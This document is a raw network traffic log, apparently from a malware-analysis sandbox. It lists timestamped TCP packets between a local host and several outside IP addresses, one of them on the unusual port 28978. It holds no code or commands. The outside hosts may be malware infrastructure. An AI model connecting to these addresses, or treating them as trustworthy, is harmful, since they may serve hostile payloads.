Oct 29, 2021 20:29:22.749227047 CEST	80	49830	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:22.749321938 CEST	49830	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.761142969 CEST	49830	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.812800884 CEST	49831	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.813215017 CEST	80	49830	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:22.849642992 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.865106106 CEST	80	49831	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:22.865228891 CEST	49831	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.865427017 CEST	49831	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.865447044 CEST	49831	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.940227985 CEST	80	49831	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:22.940381050 CEST	49831	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.940699100 CEST	49831	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:22.958374977 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.962605000 CEST	49829	443	192.168.2.3	162.159.130.233
Oct 29, 2021 20:29:22.992927074 CEST	80	49831	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:23.025859118 CEST	49832	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:23.077681065 CEST	80	49832	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:23.077774048 CEST	49832	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:23.077897072 CEST	49832	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:23.077915907 CEST	49832	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:23.161644936 CEST	80	49832	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:23.161814928 CEST	49832	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:23.162034988 CEST	49832	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:23.213812113 CEST	80	49832	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:23.272602081 CEST	49833	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:23.326179981 CEST	80	49833	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:23.326337099 CEST	49833	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:23.326476097 CEST	49833	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:23.326713085 CEST	49833	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:23.380093098 CEST	80	49833	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:23.405436993 CEST	80	49833	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:23.405533075 CEST	49833	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:23.456825018 CEST	49833	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:23.510950089 CEST	80	49833	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:23.824554920 CEST	49834	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:23.879381895 CEST	80	49834	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:23.879463911 CEST	49834	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:23.879584074 CEST	49834	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:23.879591942 CEST	49834	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:23.934484959 CEST	80	49834	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:23.961236000 CEST	80	49834	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:23.961265087 CEST	80	49834	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:23.961328030 CEST	49834	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:23.961553097 CEST	49834	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:24.016247988 CEST	80	49834	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:24.211649895 CEST	49835	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:24.262762070 CEST	80	49835	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:24.262953043 CEST	49835	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:24.263099909 CEST	49835	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:24.263113976 CEST	49835	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:24.340508938 CEST	80	49835	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:24.340616941 CEST	49835	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:24.412626028 CEST	49835	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:24.463819981 CEST	80	49835	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:24.503804922 CEST	49836	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:24.556190014 CEST	80	49836	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:24.557199955 CEST	49836	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:24.557303905 CEST	49836	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:24.557313919 CEST	49836	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:24.635215998 CEST	80	49836	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:24.635369062 CEST	49836	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:24.639173985 CEST	49836	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:24.690526962 CEST	80	49836	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:24.851492882 CEST	49837	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:24.903747082 CEST	80	49837	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:24.903881073 CEST	49837	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:24.904052019 CEST	49837	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:24.904076099 CEST	49837	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:24.956139088 CEST	80	49837	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:24.982753038 CEST	80	49837	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:24.982826948 CEST	49837	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.001445055 CEST	49837	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.034192085 CEST	49838	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.053786993 CEST	80	49837	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:25.098042011 CEST	80	49838	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:25.098159075 CEST	49838	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.098280907 CEST	49838	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.098305941 CEST	49838	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.177440882 CEST	80	49838	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:25.177558899 CEST	49838	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.177776098 CEST	49838	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.231069088 CEST	80	49838	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:25.292762995 CEST	49839	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.346978903 CEST	80	49839	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:25.347065926 CEST	49839	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.347219944 CEST	49839	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.347234011 CEST	49839	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.421710968 CEST	80	49839	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:25.421806097 CEST	49839	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.458050966 CEST	49839	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.493381977 CEST	49840	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.510277033 CEST	80	49839	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:25.544728041 CEST	80	49840	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:25.545017958 CEST	49840	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.545053005 CEST	49840	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.546066046 CEST	49840	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.596630096 CEST	80	49840	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:25.597419024 CEST	80	49840	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:25.623218060 CEST	80	49840	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:25.623364925 CEST	49840	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.647330046 CEST	49840	80	192.168.2.3	185.98.87.159
Oct 29, 2021 20:29:25.698699951 CEST	80	49840	185.98.87.159	192.168.2.3
Oct 29, 2021 20:29:46.996694088 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:29:47.021184921 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:29:47.021325111 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:29:49.191698074 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:29:49.217274904 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:29:49.370747089 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:29:49.621602058 CEST	49845	80	192.168.2.3	104.21.9.146
Oct 29, 2021 20:29:49.638818026 CEST	80	49845	104.21.9.146	192.168.2.3
Oct 29, 2021 20:29:49.638989925 CEST	49845	80	192.168.2.3	104.21.9.146
Oct 29, 2021 20:29:49.746511936 CEST	49845	80	192.168.2.3	104.21.9.146
Oct 29, 2021 20:29:49.763578892 CEST	80	49845	104.21.9.146	192.168.2.3
Oct 29, 2021 20:29:49.939352989 CEST	80	49845	104.21.9.146	192.168.2.3
Oct 29, 2021 20:29:49.939378977 CEST	80	49845	104.21.9.146	192.168.2.3
Oct 29, 2021 20:29:49.939399004 CEST	80	49845	104.21.9.146	192.168.2.3
Oct 29, 2021 20:29:49.939412117 CEST	80	49845	104.21.9.146	192.168.2.3
Oct 29, 2021 20:29:49.939423084 CEST	80	49845	104.21.9.146	192.168.2.3
Oct 29, 2021 20:29:49.939431906 CEST	80	49845	104.21.9.146	192.168.2.3
Oct 29, 2021 20:29:49.939474106 CEST	49845	80	192.168.2.3	104.21.9.146
Oct 29, 2021 20:29:49.939608097 CEST	49845	80	192.168.2.3	104.21.9.146
Oct 29, 2021 20:29:51.290190935 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:29:54.292865992 CEST	49846	80	192.168.2.3	91.219.236.97
Oct 29, 2021 20:29:54.640815973 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:29:54.666842937 CEST	28978	49844	93.115.20.139	192.168.2.3
Oct 29, 2021 20:29:54.714767933 CEST	49844	28978	192.168.2.3	93.115.20.139
Oct 29, 2021 20:29:56.748099089 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:29:56.815221071 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:29:56.815409899 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:29:56.815686941 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:29:56.815743923 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:29:56.882276058 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:29:56.882417917 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:29:57.007493973 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:29:57.017951012 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:29:57.018034935 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:29:57.084887981 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:29:57.084928036 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:29:57.209829092 CEST	80	49859	45.141.84.21	192.168.2.3
Oct 29, 2021 20:29:57.261992931 CEST	49859	80	192.168.2.3	45.141.84.21
Oct 29, 2021 20:29:57.397269011 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:57.541546106 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:57.541666985 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:57.541785955 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:57.725480080 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:57.998255968 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:57.999753952 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:57.999773979 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:57.999802113 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:57.999834061 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:57.999852896 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:57.999907970 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:57.999964952 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:57.999998093 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.000238895 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.001641035 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.001666069 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.001718044 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.001775026 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.001790047 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.140048981 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.145759106 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.146187067 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.155961990 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.155986071 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.156013012 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.156084061 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.156100988 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.156116962 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.156146049 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.156172991 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.156177998 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.157725096 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.157752991 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.157768965 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.158222914 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.175849915 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.175982952 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.179912090 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.179950953 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.179997921 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.180051088 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.181749105 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.181773901 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.181790113 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.181833029 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.181832075 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.181857109 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.181946039 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.182029009 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.307585955 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.307626963 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.307646036 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.307667971 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.307748079 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.307780981 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.319787979 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.319955111 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.319981098 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.320036888 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.323688030 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.324879885 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.373835087 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.375747919 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.375771999 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.375848055 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.375868082 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.375888109 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.375907898 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.375930071 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.375952005 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.375952959 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.375972986 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.375978947 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.375994921 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.376004934 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.376012087 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.376024008 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.376060009 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.376111031 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.377804995 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.377831936 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.378212929 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.378310919 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.378335953 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.378356934 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.378380060 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.378382921 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.378393888 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.378410101 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.378457069 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.378540039 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.379805088 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.379834890 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.379863024 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.379889011 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.379894018 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.379945993 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.379975080 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.380021095 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.380033970 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.467978954 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.471693039 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.471731901 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.471767902 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.471817017 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.471851110 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.471863031 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.471911907 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.471920013 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.472657919 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.472719908 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.472770929 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.472820044 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.472876072 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.472893000 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.472893953 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.472934961 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.472973108 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.473010063 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.473064899 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.473071098 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.473704100 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.473745108 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.473778963 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.473797083 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.473825932 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.473865032 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.473886967 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.473901033 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.473936081 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.473958969 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.473973036 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.474086046 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.523871899 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.523973942 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.524183989 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.548911095 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.557800055 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.557836056 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.557859898 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.557883978 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.557904005 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.557904959 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.557928085 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.557969093 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.557991982 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.558017015 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.558114052 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.559763908 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.559802055 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.559824944 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.559845924 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.559926987 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.559942961 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.559953928 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.559979916 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.560039043 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.560153008 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.561769962 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.561817884 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.561839104 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.561862946 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.561880112 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.561886072 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.561902046 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.561955929 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.561978102 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.577889919 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.577918053 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.578649998 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.583700895 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.583798885 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.584444046 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.615838051 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.615982056 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.625860929 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.626029015 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.626055956 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.626080036 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.626171112 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.626198053 CEST	49863	80	192.168.2.3	176.123.228.234
Oct 29, 2021 20:29:58.627763987 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.629683018 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.629709005 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.629725933 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.629744053 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.629762888 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.629784107 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.629806042 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.629823923 CEST	80	49863	176.123.228.234	192.168.2.3
Oct 29, 2021 20:29:58.629842043 CEST	49863	80	192.168.2.3	176.123.228.234
